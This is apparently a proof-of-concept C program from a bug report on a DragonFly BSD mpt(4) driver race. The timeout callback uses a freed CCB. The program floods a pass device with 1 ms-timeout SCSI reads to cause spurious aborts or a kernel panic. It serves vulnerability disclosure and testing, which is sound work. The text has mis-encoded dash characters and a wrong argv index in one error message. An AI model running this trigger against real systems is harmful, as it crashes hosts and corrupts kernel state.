DF-3673 / mpt_timeout_race.c
/* DF-3673 โ mpt(4) mpt_timeout() uses the CCB after the completion path * has recycled/freed it (callout_stop does not interlock against * an in-progress callback). * * PoC (source-verified; runtime-gated on MPT hardware). * * The completion path (mpt_scsi_reply_handler, intr context, mpt lock held): * * mpt_req_untimeout(req, mpt_timeout, ccb); // = callout_stop() :2662 * ... * xpt_done(ccb); // CCB recycled/freed :2710 * * mpt_timeout() (softclock context): * * ccb = (union ccb *)arg; * mpt = ccb->ccb_h.ccb_mpt_ptr; // read BEFORE lock :1241 * MPT_LOCK(mpt); // blocks while intr completes * req = ccb->ccb_h.ccb_req_ptr; // read AFTER free :1244 * mpt_prt(... req->serno ...); // deref stale/garbage * * DragonFly callout_stop() on a callout_init_mp() (non-lock-aided) callout * "does not block ... does not interlock against a callout that is * in-progress" (sys/kern/kern_timeout.c:1073-1096). If the timeout fires * on another CPU while the completion path holds the mpt lock, the callback * proceeds after xpt_done() and reads the CCB from freed/reused memory: * - pooled CCBs (XPT_SCSI_IO via pass): ccb_req_ptr is a STALE request_t* * -> wrong request gets REQ_STATE_TIMEDOUT + moved to the timeout list * -> spurious abort of an unrelated command / list confusion; * - zone CCBs (XPT_CONT_TARGET_IO via pass, freed by xpt_free_ccb -> * kfree): ccb_req_ptr is heap garbage -> wild pointer deref -> panic. * * The race window is user-amplifiable: pass(4) lets the caller set * ccb_h.timeout (ms) per command โ a 1 ms timeout on a busy device makes * expiry-vs-completion collisions routine. * * Run as: ./mpt_timeout_race <pass-device> (against mpt-attached LUN) */ #include <sys/types.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #ifndef CAMIOCOMMAND #define CAMIOCOMMAND _IOWR(CAM_VERSION, 2, union ccb) #endif int main(int argc, char **argv) { union ccb ccb; u_int8_t *buf; int fd, i; if (argc != 2) errx(1, "usage: %s /dev/passN", argv[0]); fd = open(argv[1], O_RDWR); if (fd < 0) err(1, "open %s", argv[0]); buf = malloc(4096); if (buf == NULL) err(1, "malloc"); /* * Hammer the device with 1 ms-timeout reads. Every completion that * lands inside the (tiny) callout-callback window re-enters * mpt_timeout() with a CCB the completion path already handed back * via xpt_done(). */ for (i = 0; i < 200000; i++) { memset(&ccb, 0, sizeof(ccb)); ccb.ccb_h.func_code = XPT_SCSI_IO; ccb.ccb_h.flags = CAM_DIR_IN; ccb.ccb_h.timeout = 1; /* 1 ms โ user-controlled */ ccb.csio.dxfer_len = 512; ccb.csio.data_ptr = buf; ccb.csio.cdb_len = 6; ccb.csio.cdb_io.cdb_bytes[0] = 0x08; /* READ(6) */ ccb.csio.cdb_io.cdb_bytes[4] = 1; if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) err(1, "CAMIOCOMMAND (iter %d)", i); } printf("survived %d iterations โ no collision observed this run\n", i); free(buf); return (0); } |